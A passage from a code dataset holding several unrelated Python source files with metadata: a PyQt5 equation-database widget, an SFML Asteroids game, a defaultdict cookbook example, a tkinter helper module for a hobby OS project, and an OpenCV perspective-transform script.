List\nfrom PyQt5.uic import loadUi # noqa\nfrom PyQt5.QtGui import QPixmap, QImage\nfrom PyQt5.QtWidgets import (\n QWidget, QApplication, QTextEdit, QListWidget,\n QLineEdit, QComboBox, QPushButton, QLabel\n)\nfrom CustomWidgets.latex_widget import LatexWidget\nfrom equations import EquationRecords\nfrom variables import GroupedVariableRecord\nfrom unit import UnitRecord\n\n\nclass VariableDetails(QWidget):\n \"\"\"Variable Dialog manages the state of Variables\"\"\"\n latex_widget: LatexWidget\n name_l_edit: QLineEdit\n dimension_l_edit: QLineEdit\n unit_btn: QPushButton\n unit_image_lbl: QLabel\n variable_type_c_box: QComboBox\n equations_list: QListWidget\n notes_text_edit: QTextEdit\n template_btn: QPushButton\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n # Info Widgets\n try:\n loadUi('CustomWidgets/variable_details.ui', self)\n except FileNotFoundError:\n loadUi('variable_details.ui', self)\n\n def set_variable_types(self, var_types: Optional[List[str]] = None):\n \"\"\"Populate variable types - Usually done once after widget creation\"\"\"\n for a_type in var_types:\n self.variable_type_c_box.addItem(a_type)\n\n def set_data(self, record: GroupedVariableRecord, unit: UnitRecord,\n equations: Optional[EquationRecords] = None):\n \"\"\"Populate Widgets based on Record Information\"\"\"\n self.name_l_edit.setText(record.name)\n img = QImage.fromData(unit.image)\n self.unit_image_lbl.setPixmap(QPixmap.fromImage(img))\n self.dimension_l_edit.setText(str(record.dimensions))\n self.notes_text_edit.setText(record.notes)\n self.variable_type_c_box.setCurrentText(record.type_name)\n\n self.latex_widget.set_latex_data(record.latex_obj)\n\n self.equations_list.clear()\n if equations is not None:\n for eqn in equations:\n self.equations_list.addItem(eqn.name)\n\n def clear_variable_details(self):\n \"\"\"Clear widgets\"\"\"\n self.equations_list.clear()\n self.notes_text_edit.clear()\n self.scene.clear()\n\n\nif __name__ == \"__main__\":\n import sys\n from db_utils import my_connect\n from variables import GroupedVariables # pylint: disable=ungrouped-imports\n from unit import Unit # pylint: disable=ungrouped-imports\n from type_table import TypeTable\n\n app = QApplication(sys.argv)\n my_conn = my_connect()\n\n # region Necesary Data for variable details Widget\n VAR_ID = 6\n app_var = GroupedVariables(my_conn=my_conn)\n un = Unit(my_conn=my_conn)\n v_types = TypeTable(name='variable_type', my_conn=my_conn)\n # app_var.set_records_for_parent(parent_id=2)\n all_rcds = list(app_var.all_records.itertuples())\n a_record: GroupedVariableRecord = all_rcds[VAR_ID]\n a_unit = un.record(an_id=a_record.unit_id)\n eqns = app_var.other_parents(child_id=VAR_ID)\n # endregion\n\n dlg = VariableDetails()\n dlg.set_variable_types(var_types=v_types.types())\n dlg.show()\n dlg.set_data(record=a_record, unit=a_unit, equations=eqns)\n sys.exit(app.exec_())\n", "repo_name": "wdeshazer/equation_database", "sub_path": "CustomWidgets/variable_details.py", "file_name": "variable_details.py", "file_ext": "py", "file_size_in_byte": 3312, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 22, "usage_type": "name"}, {"api_name": "CustomWidgets.latex_widget.LatexWidget", "line_number": 24, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 25, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 26, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 28, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QListWidget", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 32, "usage_type": "name"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 40, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 42, "usage_type": "name"}, {"api_name": "variables.GroupedVariableRecord", "line_number": 47, "usage_type": "name"}, {"api_name": "unit.UnitRecord", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 48, "usage_type": "name"}, {"api_name": "equations.EquationRecords", "line_number": 48, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QImage.fromData", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 51, "usage_type": "name"}, {"api_name": "unit.image", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 52, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 52, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 78, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 78, "usage_type": "attribute"}, {"api_name": "db_utils.my_connect", "line_number": 79, "usage_type": "call"}, {"api_name": "variables.GroupedVariables", "line_number": 83, "usage_type": "call"}, {"api_name": "unit.Unit", "line_number": 84, "usage_type": "call"}, {"api_name": "type_table.TypeTable", "line_number": 85, "usage_type": "call"}, {"api_name": "variables.GroupedVariableRecord", "line_number": 88, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 97, "usage_type": "call"}]} {"seq_id": "10633084937", "text": "from sfml import sf\nfrom Asteroid import Asteroid\nfrom Board import Board\nfrom GameParams import GameParams\nfrom ObjectManager import ObjectManager\nfrom Powerup import Powerup\nfrom ScoreKeeper import ScoreKeeper\nfrom Ship import Ship\nimport utils\n\nimport random\nimport time\n\nclass AsteroidsGame:\n\n\n def setup(self, startWindow=None, playerName=None):\n self.params = GameParams() # To be filled by user input\n \n # Set up scorekeeping \n self.score = 0\n self.scoreKeeper = ScoreKeeper()\n self.scoreKeeper.setFile('asteroidScore.txt')\n \n # Set up window\n width = 800\n height = 600\n font = sf.Font.from_file(\"rust.ttf\")\n self.params.setFont(font) \n\n if startWindow is None:\n # startWindow is None unless this is a restart\n startWindow = sf.RenderWindow(sf.VideoMode(width, height), \"Asteroids\")\n startWindow.framerate_limit = 60\n startWindow.clear(sf.Color.BLACK) \n \n #Display Welcome\n welcomeText = utils.drawText(startWindow, string=\"Asteroids\", size=60, font=font, position='center')\n startWindow.display()\n \n # Wait for any input\n while(True):\n setup = False\n for event in startWindow.events: \n if type(event) is sf.CloseEvent: \n exit()\n elif (type(event) is sf.MouseButtonEvent or\n type(event) is sf.KeyEvent):\n setup = True \n if setup:\n break\n\n # Select Player Name\n if playerName is None:\n playerName = utils.textInput(startWindow, \"Enter Name:\", font, maxLength=10)\n self.params.setPlayerName(playerName.lower()) \n\n #Choose Difficulty\n difficulty = utils.selectOptions(startWindow, [\"Easy\", \"Medium\", \"Hard\"], [0, 1, 2], font)\n makeTimes = [20,15,12]\n timeModifiers = [0.98, 0.95, 0.92]\n self.params.setDifficulty(difficulty)\n self.timeToMakeAsteroid = makeTimes[difficulty]\n self.makeTimeModifier = timeModifiers[difficulty]\n self.lastAsteroidTime = time.time() - self.timeToMakeAsteroid\n\n self.timeToMakePowerup = 20\n self.lastPowerupTime = time.time() - self.timeToMakePowerup\n self.powerupProbability = 1/600\n \n # Set up Board\n self.board = Board(title=\"Asteroids\", width=700, height=700)\n\n # Set up Ship\n self.ship = Ship(position=(self.board.getBoundary()[0]/2, self.board.getBoundary()[1]/2))\n self.ship.setWrapping(True)\n self.ship.setBoundary(self.board.getBoundary())\n \n startWindow.close()\n \n def endGame(self):\n gameOverText = utils.drawText(self.board.window, string=\"Game Over\", font=self.params.font,\n size=60, position='center', color=sf.Color.RED)\n \n oldScore = self.scoreKeeper.checkScore(self.params.playerName, self.params.getDifficulty())\n scoreTextYPosition = gameOverText.position[1]+gameOverText.local_bounds.height+10\n\n if self.score > oldScore:\n # display a \"New Highscore\" screen\n self.scoreKeeper.setScore(self.params.playerName, self.score, self.params.getDifficulty())\n \n utils.drawText(self.board.window, string=\"New High Score! {}\".format(self.score),\n font=self.params.font, size=30, position='center', \n yposition=scoreTextYPosition, color=sf.Color.GREEN)\n else:\n # Display the old highscore\n utils.drawText(self.board.window, string=\"High Score: {}\".format(oldScore),\n font=self.params.font, size=30, position='center', \n yposition=scoreTextYPosition, color=sf.Color.WHITE)\n \n utils.drawText(self.board.window, string=\"Press ENTER to Relplay\",\n font=self.params.font, size=15, position='center', \n yposition=self.board.window.height - 20, color=sf.Color.WHITE)\n \n self.board.window.display()\n while(True):\n for event in self.board.window.events:\n if (type(event) is sf.CloseEvent or\n (type(event) is sf.KeyEvent and event.code is sf.Keyboard.ESCAPE)):\n exit() \n if (type(event) is sf.KeyEvent and event.code is sf.Keyboard.RETURN):\n # Reset\n self.setup(self.board.window, self.params.getPlayerName())\n self.playGame()\n\n def _generateAsteroid(self, asteroidManager, velocityLimit=2):\n if (time.time() - self.lastAsteroidTime >= self.timeToMakeAsteroid):\n self.lastAsteroidTime = time.time()\n self.timeToMakeAsteroid *= self.makeTimeModifier #make asteroids appear faster as time progresses\n \n # Generate beyond the border so it doesn't appear in middle of screen\n # random velocity will make it appear evenly on either side\n position = (random.uniform(-20, 0), random.uniform(-20,0))\n velocity = (random.uniform(-velocityLimit,velocityLimit),\n random.uniform(-velocityLimit,velocityLimit))\n asteroid = Asteroid(4,position, velocity, wrapping=True, \n boundary=self.board.getBoundary()) \n asteroidManager.addObject(asteroid)\n\n def _generatePowerup(self, powerupManager, velocityLimit=2):\n if ((time.time() - self.lastPowerupTime >= self.timeToMakePowerup) and\n random.random() < self.powerupProbability):\n \n typeNum = random.randint(0,2)\n typeNames = [\"cooldown\", \"agility\", \"acceleration\"]\n typeColors = [sf.Color.BLUE, sf.Color.GREEN, sf.Color.YELLOW]\n \n # Lots of calculations to make it start evenly on any side of the board\n # and ensure that it moves across the board no matter where it starts\n positionX = None\n positionY = None\n velocityX = None\n velocityY = None\n boundary = self.board.getBoundary()\n if random.random() < 0.5:\n positionX = random.uniform(-20, 0)\n else:\n positionX = random.uniform(boundary[0], boundary[0]+20)\n if random.random() < 0.5:\n positionY = random.uniform(-20, 0)\n else:\n positionY = random.uniform(boundary[0], boundary[0]+20)\n \n if (positionX < 0):\n velocityX = random.uniform(0, velocityLimit)\n else:\n velocityX = random.uniform(-velocityLimit, 0)\n if (positionY < 0):\n velocityY = random.uniform(0, velocityLimit)\n else:\n velocityY = random.uniform(-velocityLimit, 0)\n\n \n \n velocity = (velocityX, velocityY)\n position = (positionX, positionY)\n powerup = Powerup(position=position, velocity=velocity, \n color=typeColors[typeNum], powerupType=typeNames[typeNum])\n powerupManager.addObject(powerup)\n self.lastPowerupTime = time.time()\n \n \n def playGame(self):\n self.board.window.clear(sf.Color.BLACK)\n self.ship.draw(self.board.window)\n self.board.displayBoard()\n\n play = False\n while not play:\n for event in self.board.window.events: \n if type(event) is sf.CloseEvent: \n exit()\n elif (type(event) is sf.KeyEvent):\n play = True\n\n bulletManager = ObjectManager(cleanSize=10)\n asteroidManager = ObjectManager(cleanSize=10)\n powerupManager = ObjectManager(cleanSize=5)\n \n while(True): \n self.board.window.clear(sf.Color.BLACK)\n \n self._generateAsteroid(asteroidManager)\n self._generatePowerup(powerupManager)\n\n # Input handler \n for event in self.board.window.events:\n if type(event) is sf.CloseEvent:\n exit()\n if type(event) is sf.KeyEvent and event.code is sf.Keyboard.SPACE and event.pressed:\n bullet = self.ship.shootBullet(boundary=self.board.getBoundary())\n if bullet:\n bulletManager.addObject(bullet)\n if sf.Keyboard.is_key_pressed(sf.Keyboard.RIGHT):\n self.ship.turnRight()\n if sf.Keyboard.is_key_pressed(sf.Keyboard.UP):\n self.ship.accelerate()\n if sf.Keyboard.is_key_pressed(sf.Keyboard.LEFT):\n self.ship.turnLeft()\n \n # Move and draw bullets \n for i in range(bulletManager.getLength()):\n bullet = bulletManager.getItem(i)\n bullet.move()\n bullet.draw(self.board.window)\n\n # Move and draw Asteroids\n for i in range(asteroidManager.getLength()):\n asteroid = asteroidManager.getItem(i)\n asteroid.move()\n asteroid.draw(self.board.window)\n \n # Move and draw Powerups\n for i in range(powerupManager.getLength()):\n powerup = powerupManager.getItem(i)\n powerup.move()\n powerup.draw(self.board.window)\n\n # Move and draw Ship \n self.ship.moveForward()\n self.ship.draw(self.board.window)\n\n # Check for collisions\n newAsteroids = []\n for i in reversed(range(asteroidManager.getLength())):\n asteroid = asteroidManager.getItem(i) \n # Asteroid-Ship collision\n if (self.ship.circleTriangleCollision(asteroid.getShape())):\n self.endGame()\n\n for j in reversed(range(bulletManager.getLength())):\n bullet = bulletManager.getItem(j)\n # if collision: break asteroid\n if asteroid.didCollide(bullet):\n self.score += 1\n if asteroid.breakAsteroid():\n for newAsteroid in asteroid.breakAsteroid():\n newAsteroids.append(newAsteroid)\n bulletManager.removeIndex(j)\n asteroidManager.removeIndex(i)\n break\n asteroidManager.addObjects(newAsteroids)\n \n # Check for powerup collisions\n for i in reversed(range(powerupManager.getLength())):\n powerup = powerupManager.getItem(i)\n if self.ship.circleTriangleCollision(powerup.getShape()):\n power = powerup.getType()\n if power == \"acceleration\":\n oldAcc = self.ship.getAcceleration()\n self.ship.setAcceleration(1.1*oldAcc) \n elif power == \"cooldown\":\n oldCool = self.ship.getCooldown()\n self.ship.setCooldown(0.9*oldCool)\n elif power == \"agility\":\n oldSpeed = self.ship.getRotateSpeed()\n self.ship.setRotateSpeed(1.1*oldSpeed)\n powerupManager.removeIndex(i)\n \n self._drawScore(self.board.window)\n \n self.board.window.display()\n\n def _drawScore(self, window):\n if hasattr(self,'scoreText'):\n self.scoreText.string = str(self.score)\n else:\n self.scoreText = utils.drawText(window, size=25,\n font=self.params.font, string=str(self.score))\n window.draw(self.scoreText)\n", "repo_name": "Scott8440/Games", "sub_path": "Asteroids/AsteroidsGame.py", "file_name": "AsteroidsGame.py", "file_ext": "py", "file_size_in_byte": 10358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "GameParams.GameParams", "line_number": 18, "usage_type": "call"}, {"api_name": "ScoreKeeper.ScoreKeeper", "line_number": 22, "usage_type": "call"}, {"api_name": "sfml.sf.Font.from_file", "line_number": 28, "usage_type": "call"}, {"api_name": "sfml.sf.Font", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 28, "usage_type": "name"}, {"api_name": "sfml.sf.RenderWindow", "line_number": 33, "usage_type": "call"}, {"api_name": "sfml.sf", "line_number": 33, "usage_type": "name"}, {"api_name": "sfml.sf.VideoMode", "line_number": 33, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 35, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 35, "usage_type": "name"}, {"api_name": "utils.drawText", "line_number": 38, "usage_type": "call"}, {"api_name": "sfml.sf.CloseEvent", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 45, "usage_type": "name"}, {"api_name": "sfml.sf.MouseButtonEvent", "line_number": 47, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 47, "usage_type": "name"}, {"api_name": "sfml.sf.KeyEvent", "line_number": 48, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 48, "usage_type": "name"}, {"api_name": "utils.textInput", "line_number": 55, "usage_type": "call"}, {"api_name": "utils.selectOptions", "line_number": 59, "usage_type": "call"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "Board.Board", "line_number": 72, "usage_type": "call"}, {"api_name": "Ship.Ship", "line_number": 75, "usage_type": "call"}, {"api_name": "utils.drawText", "line_number": 82, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 83, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 83, "usage_type": "name"}, {"api_name": "utils.drawText", "line_number": 92, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 94, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 94, "usage_type": "name"}, {"api_name": "utils.drawText", "line_number": 97, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 99, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 99, "usage_type": "name"}, {"api_name": "utils.drawText", "line_number": 101, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 103, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 103, "usage_type": "name"}, {"api_name": "sfml.sf.CloseEvent", "line_number": 108, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 108, "usage_type": "name"}, {"api_name": "sfml.sf.KeyEvent", "line_number": 109, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 109, "usage_type": "name"}, {"api_name": "sfml.sf.Keyboard", "line_number": 109, "usage_type": "attribute"}, {"api_name": "sfml.sf.KeyEvent", "line_number": 111, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 111, "usage_type": "name"}, {"api_name": "sfml.sf.Keyboard", "line_number": 111, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 123, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 124, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 125, "usage_type": "call"}, {"api_name": "Asteroid.Asteroid", "line_number": 126, "usage_type": "call"}, {"api_name": "time.time", "line_number": 131, "usage_type": "call"}, {"api_name": "random.random", "line_number": 132, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 134, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 136, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 136, "usage_type": "name"}, {"api_name": "random.random", "line_number": 145, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 146, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 148, "usage_type": "call"}, {"api_name": "random.random", "line_number": 149, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 150, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 152, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 155, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 157, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 159, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 161, "usage_type": "call"}, {"api_name": "Powerup.Powerup", "line_number": 167, "usage_type": "call"}, {"api_name": "time.time", "line_number": 170, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 174, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 174, "usage_type": "name"}, {"api_name": "sfml.sf.CloseEvent", "line_number": 181, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 181, "usage_type": "name"}, {"api_name": "sfml.sf.KeyEvent", "line_number": 183, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 183, "usage_type": "name"}, {"api_name": "ObjectManager.ObjectManager", "line_number": 186, "usage_type": "call"}, {"api_name": "ObjectManager.ObjectManager", "line_number": 187, "usage_type": "call"}, {"api_name": "ObjectManager.ObjectManager", "line_number": 188, "usage_type": "call"}, {"api_name": "sfml.sf.Color", "line_number": 191, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 191, "usage_type": "name"}, {"api_name": "sfml.sf.CloseEvent", "line_number": 198, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 198, "usage_type": "name"}, {"api_name": "sfml.sf.KeyEvent", "line_number": 200, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 200, "usage_type": "name"}, {"api_name": "sfml.sf.Keyboard", "line_number": 200, "usage_type": "attribute"}, {"api_name": "sfml.sf.Keyboard.is_key_pressed", "line_number": 204, "usage_type": "call"}, {"api_name": "sfml.sf.Keyboard", "line_number": 204, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 204, "usage_type": "name"}, {"api_name": "sfml.sf.Keyboard.is_key_pressed", "line_number": 206, "usage_type": "call"}, {"api_name": "sfml.sf.Keyboard", "line_number": 206, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 206, "usage_type": "name"}, {"api_name": "sfml.sf.Keyboard.is_key_pressed", "line_number": 208, "usage_type": "call"}, {"api_name": "sfml.sf.Keyboard", "line_number": 208, "usage_type": "attribute"}, {"api_name": "sfml.sf", "line_number": 208, "usage_type": "name"}, {"api_name": "utils.drawText", "line_number": 278, "usage_type": "call"}]} {"seq_id": "25655825804", "text": "# 1.6 딕셔너리의 키를 여러 값에 매핑하기\n\nfrom collections import defaultdict\n\nd = defaultdict(list)\nd['a'].append(1)\nd['a'].append(2)\nd['b'].append(4)\n...\n\nd = defaultdict(set)\nd['a'].add(1)\nd['a'].add(2)\nd['b'].add(4)\n...\n\n\nd = {} # 일반 딕셔너리\nd.setdefault('a', []).append(1)\nd.setdefault('a', []).append(2)\nd.setdefault('b', []).append(4)\n\n\n# 토론\n\nd = {}\nfor key, value in pairs:\n if key not in d:\n d[key] = []\n d[key].append(value)\n\n\nd = defaultdict(list)\nfor key, value in pairs:\n d[key].append(value)\n", "repo_name": "freebz/Python-Cookbook", "sub_path": "ch01/ex1-6.py", "file_name": "ex1-6.py", "file_ext": "py", "file_size_in_byte": 550, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.defaultdict", "line_number": 5, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 11, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}]} {"seq_id": "36523301979", "text": "\"\"\"\r\nA bunch of APIs for the ACOS sotwares.\r\n\"\"\"\r\nimport json\r\nimport tkinter as tk\r\nimport requests\r\n\r\n# os.chdir(os.path.dirname(os.path.realpath(__file__)))\r\n# os.chdir(\"../../../\")\r\n\r\n# The registry\r\ntry:\r\n\tregistry_file = open(\"../../registry.json\", \"r\")\r\nexcept FileNotFoundError:\r\n\tregistry_file = open(\"registry.json\", \"r\")\r\nREGISTRY = json.load(registry_file)\r\nregistry_file.close()\r\n\r\n# The current user\r\ntry:\r\n\tgeneral_data_file = open(\"../../general_data.json\", \"r\")\r\nexcept FileNotFoundError:\r\n\tgeneral_data_file = open(\"general_data.json\", \"r\")\r\ngeneral_data = json.load(general_data_file)\r\n\r\ncurrent_user = general_data[\"last_connected_user\"]\r\nos_version = general_data[\"version\"]\r\n\r\ngeneral_data_file.close()\r\n\r\n__window = None\r\n\r\ndef __set_window(win):\r\n\tglobal __window\r\n\t__window = win\r\n\r\ndef refresh_registry():\r\n\tglobal REGISTRY\r\n\ttry:\r\n\t\tregistry_file = open(\"../../registry.json\", \"r\")\r\n\texcept FileNotFoundError:\r\n\t\tregistry_file = open(\"registry.json\", \"r\")\r\n\tREGISTRY = json.load(registry_file)\r\n\tregistry_file.close()\r\n\r\ndef notify(title: str, text: str):\r\n\t\"\"\"\r\n\tCreates a notification of the user desktop.\r\n\t\"\"\"\r\n\tglobal __window\r\n\r\n\ttemp_text = [text[i:i + 22] for i in range(0, len(text), 22)]\r\n\ttext = \"\"\r\n\tfor i in range(len(temp_text)):\r\n\t\ttemp_text[i] += \"\\n\"\r\n\t\ttext += temp_text[i]\r\n\tdel temp_text\r\n\r\n\tglobals()[\"notification\"] = tk.Frame(\r\n\t\t__window\r\n\t)\r\n\tnotification_title = tk.Label(\r\n\t\tglobals()[\"notification\"],\r\n\t\ttext=title,\r\n\t\tfont=(\"Impact\", 16)\r\n\t)\r\n\tnotification_title.pack()\r\n\tnotification_message = tk.Label(\r\n\t\tglobals()[\"notification\"],\r\n\t\ttext=text,\r\n\t\tfont=(\"Calibri\", 12)\r\n\t)\r\n\tnotification_message.pack()\r\n\r\n\theight = 120\r\n\twidth = 240\r\n\r\n\tglobals()[\"notification\"].place(\r\n\t\twidth=width,\r\n\t\theight=height,\r\n\t\tx=__window.winfo_width() - 10 - width,\r\n\t\ty=__window.winfo_height() - 10 - height\r\n\t)\r\n\r\n\tdef destroy_notification(notification: tk.Frame):\r\n\t\tnotification.place_forget()\r\n\t\tnotification.destroy()\r\n\r\n\ttry:\r\n\t\t__window.after(REGISTRY[\"NOTIFICATION_STAYING_TIME\"], destroy_notification, globals()[\"notification\"])\r\n\texcept:\r\n\t\tfrom ...main import ThrowBSOD, corrupted_key\r\n\t\tThrowBSOD(__window, corrupted_key(\"NOTIFICATION_STAYING_TIME\"))\r\n\r\ndef get_all_widgets(window:tk.Frame):\r\n\t_list = window.winfo_children()\r\n\r\n\tfor item in _list:\r\n\t\tif item.winfo_children():\r\n\t\t\t_list.extend(item.winfo_children())\r\n\r\n\treturn _list\r\n\r\ndef destroy_all_widgets(window:tk.Frame):\r\n\t\"\"\"\r\n\tDestroys all widgets in given window.\r\n\t\"\"\"\r\n\twidget_list = get_all_widgets(window)\r\n\tfor item in widget_list:\r\n\t\ttry:\r\n\t\t\titem.place_forget()\r\n\t\texcept:\r\n\t\t\ttry:\r\n\t\t\t\titem.grid_forget()\r\n\t\t\texcept:\r\n\t\t\t\titem.pack_forget()\r\n\t\titem.destroy()\r\n\r\ndef recreate_string(variable: (list, tuple), char_in_between: str = \"\"):\r\n\t\"\"\"\r\n Recreates a string from a list.\r\n Parameter 'variable' (list) : The list to put together to a string.\r\n Parameter 'char_in_between' (str) : The char to put between the elements to recompose. Nothing by default.\r\n \"\"\"\r\n\ttemp_str = \"\"\r\n\tfor element in variable:\r\n\t\ttemp_str += str(element) + char_in_between\r\n\treturn temp_str\r\n\r\ndef remove_suffix(variable: str, condition: bool = True, chars_amount: int = 1):\r\n\t\"\"\"\r\n Removes the suffix of a string.\r\n Parameter 'variable' (str) : The text where the suffix has to be removed.\r\n Parameter 'chars_amount' (int) : Default : 1. Number of chars to remove.\r\n Parameter 'condition' (bool) : Default : True. Will only remove if the condition is True.\r\n \"\"\"\r\n\tif condition is True: # If the condition is respected\r\n\t\tvariable = variable[:-chars_amount] # Suffix gets removed\r\n\treturn variable\r\n\r\ndef remove_prefix(variable: str, condition: bool = True, chars_amount: int = 1):\r\n\t\"\"\"\r\n Removes the prefix of a string.\r\n Parameter 'variable' (str) : The text where the prefix has to be removed.\r\n Parameter 'chars_amount' (int) : Default : 1. Number of chars to remove.\r\n Parameter 'condition' (bool) : Default : True. Will only remove if the condition is True.\r\n \"\"\"\r\n\tif condition is True: # If the condition is respected\r\n\t\tvariable = variable[chars_amount:len(variable)] # Prefix gets removed\r\n\treturn variable\r\n\r\ndef test_connection():\r\n\turl = \"http://www.google.com\"\r\n\ttimeout = 5\r\n\ttry:\r\n\t\trequest = requests.get(url, timeout=timeout)\r\n\t\treturn True\r\n\texcept (requests.ConnectionError, requests.Timeout):\r\n\t\treturn False\r\n", "repo_name": "megat69/ACOS_Python", "sub_path": "ROOT/softwares/software_api.py", "file_name": "software_api.py", "file_ext": "py", "file_size_in_byte": 4399, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 16, "usage_type": "call"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "json.load", "line_number": 43, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 59, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 62, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 85, "usage_type": "attribute"}, {"api_name": "main.ThrowBSOD", "line_number": 93, "usage_type": "call"}, {"api_name": "main.corrupted_key", "line_number": 93, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 95, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 104, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 156, "usage_type": "call"}, {"api_name": "requests.ConnectionError", "line_number": 158, "usage_type": "attribute"}, {"api_name": "requests.Timeout", "line_number": 158, "usage_type": "attribute"}]} {"seq_id": "32172727405", "text": "import cv2\r\nimport numpy as np\r\n\r\nimage = cv2.imread('images/scan.jpg')\r\n\r\ncv2.imshow('Original', image)\r\ncv2.waitKey(0)\r\n\r\n# Cordinates of the 4 corners of the original image\r\npoints_A = np.float32([[320, 15], [700, 215], [85, 610], [530, 780]])\r\n\r\n# Cordinates of the 4 corners of the desired output\r\n# We use a ratio of an A4 Paper 1 : 1.41\r\npoints_B = np.float32([[0, 0], [420, 0], [0, 594], [420, 594]])\r\n\r\n# Use the two sets of four points to compute\r\n# the Perspective Transformation matrix, M\r\nM = cv2.getPerspectiveTransform(points_A, points_B)\r\n\r\nwarped = cv2.warpPerspective(image, M, (420, 594))\r\n\r\ncv2.imshow('warpPerspective', warped)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()", "repo_name": "PkParadox88/30days_of_openCV", "sub_path": "day12/day12.py", "file_name": "day12.py", "file_ext": "py", "file_size_in_byte": 689, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.imread", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", 